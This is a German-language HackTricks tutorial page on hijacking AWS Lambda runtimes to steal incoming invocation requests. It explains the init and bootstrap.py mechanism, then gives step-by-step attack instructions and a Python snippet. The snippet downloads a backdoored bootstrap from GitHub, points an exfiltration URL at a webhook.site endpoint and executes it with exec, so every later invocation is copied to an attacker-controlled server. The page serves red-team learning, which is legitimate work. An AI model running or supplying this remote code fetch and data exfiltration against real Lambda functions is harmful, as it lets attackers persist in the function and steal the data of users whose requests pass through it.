AWS - Lambda-Anfragen stehlen
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Lambda-Flow
.png)
https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png
- Slicer ist ein Prozess außerhalb des Containers, der Aufrufe an den Init-Prozess sendet.
- Der Init-Prozess hört auf Port 9001 und exponiert einige interessante Endpunkte:
/2018-06-01/runtime/invocation/next
– den nächsten Aufrufereignis abrufen/2018-06-01/runtime/invocation/{invoke-id}/response
– die Handler-Antwort für den Aufruf zurückgeben/2018-06-01/runtime/invocation/{invoke-id}/error
– einen Ausführungsfehler zurückgeben
- bootstrap.py hat eine Schleife, die Aufrufe vom Init-Prozess erhält und den Benutzer-Code aufruft, um sie zu verarbeiten (
/next
). - Schließlich sendet bootstrap.py die Antwort an Init.
Beachten Sie, dass bootstrap den Benutzer-Code als Modul lädt, sodass jede Codeausführung, die vom Benutzer-Code durchgeführt wird, tatsächlich in diesem Prozess stattfindet.
Stehlen von Lambda-Anfragen
Ziel dieses Angriffs ist es, den Benutzer-Code einen bösartigen bootstrap.py
-Prozess innerhalb des bootstrap.py
-Prozesses ausführen zu lassen, der die verwundbare Anfrage verarbeitet. Auf diese Weise wird der bösartige Bootstrap-Prozess beginnen, mit dem Init-Prozess zu kommunizieren, um die Anfragen zu bearbeiten, während der legitime Bootstrap gefangen ist und den bösartigen ausführt, sodass er keine Anfragen an den Init-Prozess stellt.
Dies ist eine einfache Aufgabe, da der Code des Benutzers vom legitimen bootstrap.py
-Prozess ausgeführt wird. Der Angreifer könnte also:
- Ein gefälschtes Ergebnis des aktuellen Aufrufs an den Init-Prozess senden, sodass Init denkt, der Bootstrap-Prozess wartet auf weitere Aufrufe.
- Eine Anfrage muss an
/${invoke-id}/response
gesendet werden. - Die invoke-id kann vom Stack des legitimen
bootstrap.py
-Prozesses mit dem inspect Python-Modul (wie hier vorgeschlagen) oder einfach erneut an/2018-06-01/runtime/invocation/next
angefordert werden (wie hier vorgeschlagen). - Einen bösartigen
bootstrap.py
ausführen, der die nächsten Aufrufe verarbeitet. - Aus Gründen der Heimlichkeit ist es möglich, die Lambda-Aufrufparameter an ein vom Angreifer kontrolliertes C2 zu senden und die Anfragen dann wie gewohnt zu bearbeiten.
- Für diesen Angriff reicht es aus, den ursprünglichen Code von
bootstrap.py
vom System oder github zu erhalten, den bösartigen Code hinzuzufügen und ihn aus dem aktuellen Lambda-Aufruf auszuführen.
Angriffs Schritte
- Eine RCE-Schwachstelle finden.
- Einen bösartigen Bootstrap generieren (z.B. https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py).
- Führen Sie den bösartigen Bootstrap aus.
Sie können diese Aktionen einfach ausführen, indem Sie:
python3 <<EOF
import os
import urllib3
# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data
# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"
exec(new_runtime)
EOF
Für weitere Informationen siehe https://github.com/carlospolop/lambda_bootstrap_switcher
Referenzen
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.